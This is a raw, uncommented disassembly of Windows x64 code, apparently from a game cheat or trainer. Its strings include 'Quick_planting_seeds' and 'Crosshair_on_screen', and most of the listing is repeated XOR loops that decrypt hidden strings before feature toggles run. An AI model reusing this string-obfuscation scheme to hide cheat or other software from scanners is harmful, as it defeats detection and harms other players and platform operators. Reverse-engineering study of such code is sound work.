punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r9d, r8d
add r9, r10
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x140066080
lea rdx, [0x1400aef59]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400ae053], 1
jne 0x1400660dd
movzx eax, byte [0x1400aef77]
cmp al, 1
mov ecx, eax
cmove ecx, edi
mov byte [0x1400aef77], cl
cmp byte [0x1400aef59], 1
jne 0x140066287
lea rdx, [rbp + 0xa30]
mov byte [0x1400aef59], 1
lea rcx, [rbp - 0x75]
mov byte [rbp - 0x75], 0
call fcn.140087760
mov rbx, rax
cmp byte [rax + 0xe], 0
je 0x140066261
mov r8d, edi
cmp esi, 2
jl 0x14006622a
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbx], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rbx + 4]
pxor xmm2, xmm0
movd dword [rbx + 4], xmm2
mov r9d, r8d
add r9, rbx
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x140066230
movaps xmm2, xmm11
lea rcx, [rbp + 0x408]
movaps xmm1, xmm13
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400af00c]
mov rcx, rbx
call fcn.1400423f0
cmp byte [0x1400aeff4], 1
jne 0x1400662a7
xor ecx, ecx
call fcn.140007910
test al, al
je 0x1400662a7
lea rcx, str.Quick_planting_seeds
call fcn.1400161e0
cmp byte [0x1400aef77], 0
je 0x1400666a0
lea rdx, [rbp + 0x2710]
mov byte [rbp - 0x74], 0
lea rcx, [rbp - 0x74]
call fcn.140087790
mov r10, rax
cmp byte [rax + 0x28], 0
je 0x140066471
mov r8d, edi
cmp esi, 2
jl 0x140066439
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x28
jl 0x140066330
cmp r8d, 0x29
jge 0x140066471
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x29
jl 0x140066440
lea rdx, [0x1400aef59]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400aef59], 1
jne 0x140066677
lea rdx, [rbp + 0x1800]
mov byte [0x1400aef59], 1
lea rcx, [rbp - 0x73]
mov byte [rbp - 0x73], 0
call fcn.1400877c0
mov rbx, rax
cmp byte [rax + 0x13], 0
je 0x140066651
mov r8d, edi
cmp esi, 2
jl 0x140066619
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, rbx
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140066510
cmp r8d, 0x14
jge 0x140066651
movsxd r9, r8d
add r9, rbx
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x14
jl 0x140066620
movaps xmm2, xmm11
lea rcx, [rbp + 0x410]
movaps xmm1, xmm13
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400af00c]
mov rcx, rbx
call fcn.1400423f0
cmp byte [0x1400aeff4], 1
jne 0x1400666a0
cmp byte [0x1400aef77], 1
jne 0x1400666a0
xor ecx, ecx
call fcn.140007910
test al, al
je 0x1400666a0
lea rcx, [0x14009fb38]
call fcn.1400161e0
cmp byte [0x1400ae053], 0
je 0x140066af2
lea rdx, [rbp + 0x690]
mov byte [rbp - 0x72], 0
lea rcx, [rbp - 0x72]
call fcn.1400877e0
movzx ecx, byte [rax + 9]
test cl, cl
je 0x1400666f2
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor byte [rax + 5], 0x36
xor byte [rax + 6], 0x37
xor byte [rax + 7], 0x38
xor byte [rax + 8], 0x39
xor cl, 0x3a
mov byte [rax + 9], cl
lea rdx, [0x1400b3219]
mov rcx, rax
call fcn.140042be0
cmp byte [0x1400ae053], 1
jne 0x14006671e
movzx eax, byte [0x1400aef77]
cmp al, 1
mov ecx, eax
cmove ecx, edi
mov byte [0x1400aef77], cl
cmp byte [0x1400b3219], 1
jne 0x140066ad2
lea rdx, [rbp + 0x850]
mov byte [0x1400b3219], 1
lea rcx, [rbp - 0x71]
mov byte [rbp - 0x71], 0
call fcn.140087800
mov rbx, rax
cmp byte [rax + 0xb], 0
je 0x1400668a2
mov r8d, edi
cmp esi, 2
jl 0x14006686b
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbx], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rbx + 4]
pxor xmm2, xmm0
movd dword [rbx + 4], xmm2
mov r9d, r8d
add r9, rbx
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x140066871
movaps xmm2, xmm11
lea rcx, [rbp + 0x418]
movaps xmm1, xmm13
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400b387c]
mov rcx, rbx
call fcn.1400423f0
lea rdx, [rbp + 0xb8]
mov byte [rbp - 0x70], 0
lea rcx, [rbp - 0x70]
mov byte [rbp - 0x6f], 0
call fcn.140087840
mov rbx, rax
movzx eax, byte [rax + 2]
test al, al
je 0x1400668f7
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor al, 0x33
mov byte [rbx + 2], al
lea rdx, [rbp + 0x1578]
lea rcx, [rbp - 0x6f]
call fcn.140087820
mov r10, rax
cmp byte [rax + 0x10], 0
je 0x140066ab1
mov r8d, edi
cmp esi, 2
jl 0x140066a79
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140066970
cmp r8d, 0x11
jge 0x140066ab1
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x140066a80
mov dword [rsp + 0x28], edi
lea rdx, [0x1400ae268]
mov r9d, 0x3c
mov qword [rsp + 0x20], rbx
xor r8d, r8d
mov rcx, r10
call fcn.140045db0
cmp byte [0x1400aeff4], 1
jne 0x140066af2
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140066af2
lea rcx, str.Crosshair_on_screen
call fcn.1400161e0
cmp byte [0x1400aef77], 0
je 0x1400670eb
lea rdx, [rbp + 0x2440]
mov byte [rbp - 0x6e], 0
lea rcx, [rbp - 0x6e]
call fcn.140087860
mov r10, rax
cmp byte [rax + 0x23], 0
je 0x140066cb1
mov r8d, edi
cmp esi, 2
jl 0x140066c79
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x20
jl 0x140066b70
cmp r8d, 0x24
jge 0x140066cb1
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x24
jl 0x140066c80
lea rdx, [0x1400b3219]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400b3219], 1
jne 0x1400670c2
lea rdx, [rbp + 0x1590]
mov byte [0x1400b3219], 1
lea rcx, [rbp - 0x6d]
mov byte [rbp - 0x6d], 0
call fcn.140087890
mov rbx, rax
cmp byte [rax + 0x10], 0
je 0x140066e91
mov r8d, edi
cmp esi, 2
jl 0x140066e59
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, rbx
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140066d50
cmp r8d, 0x11
jge 0x140066e91
movsxd r9, r8d
add r9, rbx
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x140066e60
movaps xmm2, xmm11
lea rcx, [rbp + 0x420]
movaps xmm1, xmm13
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400b387c]
mov rcx, rbx
call fcn.1400423f0
lea rdx, [rbp + 0xbc]
mov byte [rbp - 0x6c], 0
lea rcx, [rbp - 0x6c]
mov byte [rbp - 0x6b], 0
call fcn.140087840
mov rbx, rax
movzx eax, byte [rax + 2]
test al, al
je 0x140066ee6
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor al, 0x33
mov byte [rbx + 2], al
lea rdx, [rbp + 0x1b00]
lea rcx, [rbp - 0x6b]
call fcn.1400878b0
mov r10, rax
cmp byte [rax + 0x1d], 0
je 0x1400670a1
mov r8d, edi
cmp esi, 2
jl 0x140067069
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x140066f60
cmp r8d, 0x1e
jge 0x1400670a1
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x1e
jl 0x140067070
mov dword [rsp + 0x28], edi
lea rdx, [0x1400ae268]
mov r9d, 0x3c
mov qword [rsp + 0x20], rbx
xor r8d, r8d
mov rcx, r10
call fcn.140045db0
cmp byte [0x1400aeff4], 1
jne 0x1400670eb
cmp byte [0x1400aef77], 1
jne 0x1400670eb
xor ecx, ecx
call fcn.140007910
test al, al
je 0x1400670eb
lea rcx, str.___________
call fcn.1400161e0
cmp byte [0x1400ae053], 0
je 0x140067380
lea rdx, [rbp + 0xd70]
mov byte [rbp - 0x6a], 0
lea rcx, [rbp - 0x6a]
call fcn.1400878e0
mov r10, rax
cmp byte [rax + 0xf], 0
je 0x1400672b3
mov r8d, edi
cmp esi, 2
jl 0x140067273
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov edx, edi
movdqa xmm4, xmmword [0x1400a3220]
mov rcx, r10
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov r8d, dword [rbp + 0xd20]
movd xmm8, eax
nop dword [rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x10
jl 0x140067170
jmp 0x1400672b3
mov r9, r10
nop word [rax + rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
